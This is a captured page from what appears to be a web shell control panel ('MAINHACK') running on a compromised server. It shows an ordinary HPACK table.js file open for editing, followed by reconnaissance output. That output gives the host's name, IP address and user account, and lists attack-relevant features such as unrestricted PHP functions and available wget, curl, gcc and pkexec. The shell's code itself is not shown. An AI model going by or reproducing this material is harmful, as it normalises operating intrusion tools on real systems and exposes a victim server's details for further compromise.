[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: table.js
var hpack = require('../hpack'); var utils = hpack.utils; var assert = utils.assert; function Table(options) { this['static'] = hpack['static-table']; this.dynamic = []; this.size = 0; this.maxSize = 0; this.length = this['static'].table.length; this.protocolMaxSize = options.maxSize; this.maxSize = this.protocolMaxSize; this.lookupDepth = options.lookupDepth || 32; } module.exports = Table; Table.create = function create(options) { return new Table(options); }; Table.prototype.lookup = function lookup(index) { assert(index !== 0, 'Zero indexed field'); assert(index <= this.length, 'Indexed field OOB') if (index <= this['static'].table.length) return this['static'].table[index - 1]; else return this.dynamic[this.length - index]; }; Table.prototype.reverseLookup = function reverseLookup(name, value) { var staticEntry = this['static'].map[name]; if (staticEntry && staticEntry.values[value]) return staticEntry.values[value]; // Reverse search dynamic table (new items are at the end of it) var limit = Math.max(0, this.dynamic.length - this.lookupDepth); for (var i = this.dynamic.length - 1; i >= limit; i--) { var entry = this.dynamic[i]; if (entry.name === name && entry.value === value) return this.length - i; if (entry.name === name) { // Prefer smaller index if (staticEntry) break; return -(this.length - i); } } if (staticEntry) return -staticEntry.index; return 0; }; Table.prototype.add = function add(name, value, nameSize, valueSize) { var totalSize = nameSize + valueSize + 32; this.dynamic.push({ name: name, value: value, nameSize: nameSize, totalSize: totalSize }); this.size += totalSize; this.length++; this.evict(); }; Table.prototype.evict = function evict() { while (this.size > this.maxSize) { var entry = this.dynamic.shift(); this.size -= entry.totalSize; this.length--; } assert(this.size >= 0, 'Table size sanity check failed'); }; Table.prototype.updateSize = function updateSize(size) { assert(size <= this.protocolMaxSize, 'Table size bigger than maximum'); this.maxSize = size; this.evict(); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002